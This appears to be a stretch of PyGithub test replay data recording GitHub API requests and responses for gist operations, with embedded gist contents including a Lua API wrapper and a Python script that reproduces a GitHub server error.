\"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Create a comment --\nfunction GithubAPI.gist.comment.create(gist_id, body, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tbody = body\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"body\": \"Just commenting for the sake of commenting\"\n}\n]]--\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/comments/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Edit a comment --\nfunction GithubAPI.gist.comment.edit(gist_id, id, body, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {\n\t\tmethod = \"PATCH\",\n\t\tdata = {\n\t\t\tbody = body\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"body\": \"Just commenting for the sake of commenting\"\n}\n]]--\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Delete a comment --\nfunction GithubAPI.gist.comment.delete(gist_id, id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {method = \"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n----------------------------------------------------------------------------\n-------------------------------- TOOLS -------------------------------------\n----------------------------------------------------------------------------\n\nfunction GithubAPI.http_request(url, callback, opts, fullUrl)\n\topts = opts or {}\n\t-- if GithubAPI.token then opts.headers = TOKEN BEARER\n\tif opts.data then opts.data = json.encode(opts.data) end\n\n\tlocal _url\n\tif (fullUrl) then _url = url else _url = GithubAPI.location .. url end\n\n\thttp.request(_url, function(data, status, headers)\n\t\tif (status == 500) then error(\"Github: Internal Server Error ...\") end\n\t\tdata = json.decode(data)\n\t\tcallback(data, status, headers)\n\tend, alert, opts)\nend\n\nfunction GithubAPI.explode(div,str) -- credit: http://richard.warburton.it\n if (div=='') then return false end\n local pos,arr = 0,{}\n for st,sp in function() return string.find(str,div,pos,true) end do\n table.insert(arr,string.sub(str,pos,st-1))\n pos = sp + 1\n end\n table.insert(arr,string.sub(str,pos))\n return arr\nend\n\n-- GITHUB TIMESTAMP (YYYY-MM-DDTHH:MM:SSZ) to os.time\nfunction GithubAPI.gtimestamp(githubTime)\n\tgithubTime = githubTime:sub(1, #githubTime-1) -- remove Z\n\tgithubTime = GithubAPI.explode(\"T\", githubTime)\n\tgithubTime[1] = GithubAPI.explode(\"-\", githubTime[1])\n\tgithubTime[2] = GithubAPI.explode(\":\", githubTime[2])\n\treturn os.time({\n\t\tyear = tonumber(githubTime[1][1]),\n\t\tmonth = tonumber(githubTime[1][2]),\n\t\tday = tonumber(githubTime[1][3]),\n\t\thour = tonumber(githubTime[2][1]),\n\t\tmin = tonumber(githubTime[2][2]),\n\t\tsec = tonumber(githubTime[2][3])\n\t})\nend"}},"public":true,"created_at":"2013-08-21T16:28:24Z","updated_at":"2013-08-21T16:28:24Z","description":"Github API","comments":0,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"comments_url":"https://api.github.com/gists/6296732/comments","forks":[],"history":[{"user":null,"version":"c464aecd7fea16684e935607eeea7ae4f8caa0e2","committed_at":"2013-08-21T16:12:27Z","change_status":{"total":793,"additions":793,"deletions":0},"url":"https://api.github.com/gists/6296732/c464aecd7fea16684e935607eeea7ae4f8caa0e2"}],"fork_of":{"url":"https://api.github.com/gists/6296553","forks_url":"https://api.github.com/gists/6296553/forks","commits_url":"https://api.github.com/gists/6296553/commits","id":"6296553","git_pull_url":"https://gist.github.com/6296553.git","git_push_url":"https://gist.github.com/6296553.git","html_url":"https://gist.github.com/6296553","files":{},"public":true,"created_at":"2013-08-21T16:12:27Z","updated_at":"2013-08-21T16:28:24Z","description":"Github API","comments":0,"user":{"login":"HyroVitalyProtago","id":3470988,"avatar_url":"https://1.gravatar.com/avatar/ed59562b231a649345f38703948f76f4?d=https%3A%2F%2Fidenticons.github.com%2F6582cb986b7a730b12f7c18dfcc865f0.png","gravatar_id":"ed59562b231a649345f38703948f76f4","url":"https://api.github.com/users/HyroVitalyProtago","html_url":"https://github.com/HyroVitalyProtago","followers_url":"https://api.github.com/users/HyroVitalyProtago/followers","following_url":"https://api.github.com/users/HyroVitalyProtago/following{/other_user}","gists_url":"https://api.github.com/users/HyroVitalyProtago/gists{/gist_id}","starred_url":"https://api.github.com/users/HyroVitalyProtago/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/HyroVitalyProtago/subscriptions","organizations_url":"https://api.github.com/users/HyroVitalyProtago/orgs","repos_url":"https://api.github.com/users/HyroVitalyProtago/repos","events_url":"https://api.github.com/users/HyroVitalyProtago/events{/privacy}","received_events_url":"https://api.github.com/users/HyroVitalyProtago/received_events","type":"User"},"comments_url":"https://api.github.com/gists/6296553/comments"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Gist.testGetComments.txt0000644000175100001660000001111414756101563022747 0ustar00runnerdockerhttps GET api.github.com None /gists/2729810 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '3280'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b01fb6ac81527f99db9f6f586b048ee3"'), ('date', 'Sat, 19 May 2012 06:58:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-02-29T16:47:12Z","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729810.git","files":{"fail_github.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729810/2fb3aa84e0efa50dc0f4c18b5df5b7b9ab27076b/fail_github.py","size":1636,"filename":"fail_github.py","content":"import httplib\nimport base64\nimport json\n\nlogin = \"\"\npassword = \"\"\norgName = \"\"\nrepoName = \"FailGithubApi\"\n\ndef doRequest( verb, url, input ):\n input = json.dumps( input )\n cnx = httplib.HTTPSConnection( \"api.github.com\", strict = True )\n cnx.request( verb, url, input, { \"Authorization\" : \"Basic \" + base64.b64encode( login + \":\" + password ).replace( '\\n', '' ) } )\n response = cnx.getresponse()\n status = response.status\n output = response.read()\n cnx.close()\n print verb, url, input, \"=>\", status, output\n print\n if status < 200 or status >= 300:\n exit( 1 )\n return json.loads( output )\n\n# Create a repo\ndoRequest( \"POST\", \"/user/repos\", { \"name\": repoName } )\n\n# Create a blob, a tree, a commit and the master branch\nb = doRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( login, repoName ),\n { \"content\": \"Content of the blob\", \"encoding\": \"latin1\" }\n)\nt = doRequest(\n \"POST\", \"/repos/%s/%s/git/trees\" % ( login, repoName ),\n { \"tree\" : [ { \"path\": \"foo.bar\", \"type\": \"blob\", \"mode\": \"100644\", \"sha\": b[\"sha\"] } ] }\n)\nc = doRequest(\n \"POST\", \"/repos/%s/%s/git/commits\" % ( login, repoName ),\n { \"parents\": [], \"message\": \"Message of the commit\", \"tree\": t[\"sha\"] }\n)\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/refs\" % ( login, repoName ),\n { \"ref\": \"refs/heads/master\", \"sha\": c[\"sha\"] }\n)\n\n# Fork the repo\ndoRequest( \"POST\", \"/repos/%s/%s/forks?org=%s\" % ( login, repoName, orgName ), None )\n\n# Create a new blob => BOOM error 500\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( orgName, repoName ),\n { \"content\": \"Content of the new blob\", \"encoding\": \"latin1\" }\n)\n","language":"Python"}},"html_url":"https://gist.github.com/2729810","git_push_url":"git@gist.github.com:2729810.git","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"How to error 500 Github API v3, as requested by Rick (GitHub Staff)","created_at":"2012-02-29T16:47:12Z","id":"2729810","history":[{"url":"https://api.github.com/gists/2729810/a40de483e42ba33bda308371c0ef8383db73be9e","change_status":{"deletions":0,"additions":52,"total":52},"committed_at":"2012-02-29T16:47:12Z","version":"a40de483e42ba33bda308371c0ef8383db73be9e","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}}]} https GET api.github.com None /gists/2729810/comments {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('content-length', '473'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ed0bedf32cc0d6f8dfe93e85ffa951cc"'), ('date', 'Sat, 19 May 2012 07:20:33 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-19T07:19:02Z","body":"Some random comment","url":"https://api.github.com/gists/comments/323637","created_at":"2012-05-19T07:19:02Z","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":323637}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Gist.testRenameFile.txt0000644000175100001660000003704014756101563022537 0ustar00runnerdockerhttps GET api.github.com None /gists/5339374 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '6633'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 08 Apr 2013 19:03:29 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"809219adfdd04544970d95fc5629aac3"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 08 Apr 2013 19:04:07 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/gists/5339374","forks_url":"https://api.github.com/gists/5339374/forks","commits_url":"https://api.github.com/gists/5339374/commits","id":"5339374","git_pull_url":"https://gist.github.com/5339374.git","git_push_url":"https://gist.github.com/5339374.git","html_url":"https://gist.github.com/5339374","files":{"bar.txt":{"filename":"bar.txt","type":"text/plain","language":null,"raw_url":"https://gist.github.com/raw/5339374/4821236b6b52e23dfbf8e39157d250f3461aa9c5/bar.txt","size":10,"content":"Bar -> baz"}},"public":true,"created_at":"2013-04-08T18:46:14Z","updated_at":"2013-04-08T19:03:29Z","description":"Test gist for PyGithub","comments":0,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"comments_url":"https://api.github.com/gists/5339374/comments","forks":[],"history":[{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"54cc5cd4c452d1a91d8e6241cbffaf6bc59e1b20","committed_at":"2013-04-08T19:03:29Z","change_status":{"total":1,"additions":1,"deletions":0},"url":"https://api.github.com/gists/5339374/54cc5cd4c452d1a91d8e6241cbffaf6bc59e1b20"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"eb21edfa28bdc9437f2fa42d3e921242d7d72655","committed_at":"2013-04-08T19:01:51Z","change_status":{"total":1,"additions":0,"deletions":1},"url":"https://api.github.com/gists/5339374/eb21edfa28bdc9437f2fa42d3e921242d7d72655"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"3b66ad4cc07f2bebb2eae2b2f2eefba33d2fb2d5","committed_at":"2013-04-08T18:50:40Z","change_status":{"total":1,"additions":0,"deletions":1},"url":"https://api.github.com/gists/5339374/3b66ad4cc07f2bebb2eae2b2f2eefba33d2fb2d5"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"7887f7ac9eb5c1963004bdde3bcfe2221d9a0515","committed_at":"2013-04-08T18:46:14Z","change_status":{"total":2,"additions":2,"deletions":0},"url":"https://api.github.com/gists/5339374/7887f7ac9eb5c1963004bdde3bcfe2221d9a0515"}]} https PATCH api.github.com None /gists/5339374 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"files": {"bar.txt": {"content": "Bar -> baz", "filename": "baz.txt"}}} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('content-length', '7854'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b77057899bafb1bca16a79dfe56427c3"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Mon, 08 Apr 2013 19:04:07 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/gists/5339374","forks_url":"https://api.github.com/gists/5339374/forks","commits_url":"https://api.github.com/gists/5339374/commits","id":"5339374","git_pull_url":"https://gist.github.com/5339374.git","git_push_url":"https://gist.github.com/5339374.git","html_url":"https://gist.github.com/5339374","files":{"baz.txt":{"filename":"baz.txt","type":"text/plain","language":null,"raw_url":"https://gist.github.com/raw/5339374/4821236b6b52e23dfbf8e39157d250f3461aa9c5/baz.txt","size":10,"content":"Bar -> baz"}},"public":true,"created_at":"2013-04-08T18:46:14Z","updated_at":"2013-04-08T19:04:07Z","description":"Test gist for PyGithub","comments":0,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"comments_url":"https://api.github.com/gists/5339374/comments","forks":[],"history":[{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"c670d47c5ffee49794a9793a513603fab578bc56","committed_at":"2013-04-08T19:04:07Z","change_status":{"total":2,"additions":1,"deletions":1},"url":"https://api.github.com/gists/5339374/c670d47c5ffee49794a9793a513603fab578bc56"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"54cc5cd4c452d1a91d8e6241cbffaf6bc59e1b20","committed_at":"2013-04-08T19:03:29Z","change_status":{"total":1,"additions":1,"deletions":0},"url":"https://api.github.com/gists/5339374/54cc5cd4c452d1a91d8e6241cbffaf6bc59e1b20"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"eb21edfa28bdc9437f2fa42d3e921242d7d72655","committed_at":"2013-04-08T19:01:51Z","change_status":{"total":1,"additions":0,"deletions":1},"url":"https://api.github.com/gists/5339374/eb21edfa28bdc9437f2fa42d3e921242d7d72655"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"3b66ad4cc07f2bebb2eae2b2f2eefba33d2fb2d5","committed_at":"2013-04-08T18:50:40Z","change_status":{"total":1,"additions":0,"deletions":1},"url":"https://api.github.com/gists/5339374/3b66ad4cc07f2bebb2eae2b2f2eefba33d2fb2d5"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"7887f7ac9eb5c1963004bdde3bcfe2221d9a0515","committed_at":"2013-04-08T18:46:14Z","change_status":{"total":2,"additions":2,"deletions":0},"url":"https://api.github.com/gists/5339374/7887f7ac9eb5c1963004bdde3bcfe2221d9a0515"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Gist.testStarring.txt0000644000175100001660000001336014756101563022320 0ustar00runnerdockerhttps GET api.github.com None /gists/2729810 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '3280'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b01fb6ac81527f99db9f6f586b048ee3"'), ('date', 'Sat, 19 May 2012 06:58:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-02-29T16:47:12Z","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729810.git","files":{"fail_github.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729810/2fb3aa84e0efa50dc0f4c18b5df5b7b9ab27076b/fail_github.py","size":1636,"filename":"fail_github.py","content":"import httplib\nimport base64\nimport json\n\nlogin = \"\"\npassword = \"\"\norgName = \"\"\nrepoName = \"FailGithubApi\"\n\ndef doRequest( verb, url, input ):\n input = json.dumps( input )\n cnx = httplib.HTTPSConnection( \"api.github.com\", strict = True )\n cnx.request( verb, url, input, { \"Authorization\" : \"Basic \" + base64.b64encode( login + \":\" + password ).replace( '\\n', '' ) } )\n response = cnx.getresponse()\n status = response.status\n output = response.read()\n cnx.close()\n print verb, url, input, \"=>\", status, output\n print\n if status < 200 or status >= 300:\n exit( 1 )\n return json.loads( output )\n\n# Create a repo\ndoRequest( \"POST\", \"/user/repos\", { \"name\": repoName } )\n\n# Create a blob, a tree, a commit and the master branch\nb = doRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( login, repoName ),\n { \"content\": \"Content of the blob\", \"encoding\": \"latin1\" }\n)\nt = doRequest(\n \"POST\", \"/repos/%s/%s/git/trees\" % ( login, repoName ),\n { \"tree\" : [ { \"path\": \"foo.bar\", \"type\": \"blob\", \"mode\": \"100644\", \"sha\": b[\"sha\"] } ] }\n)\nc = doRequest(\n \"POST\", \"/repos/%s/%s/git/commits\" % ( login, repoName ),\n { \"parents\": [], \"message\": \"Message of the commit\", \"tree\": t[\"sha\"] }\n)\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/refs\" % ( login, repoName ),\n { \"ref\": \"refs/heads/master\", \"sha\": c[\"sha\"] }\n)\n\n# Fork the repo\ndoRequest( \"POST\", \"/repos/%s/%s/forks?org=%s\" % ( login, repoName, orgName ), None )\n\n# Create a new blob => BOOM error 500\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( orgName, repoName ),\n { \"content\": \"Content of the new blob\", \"encoding\": \"latin1\" }\n)\n","language":"Python"}},"html_url":"https://gist.github.com/2729810","git_push_url":"git@gist.github.com:2729810.git","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"How to error 500 Github API v3, as requested by Rick (GitHub 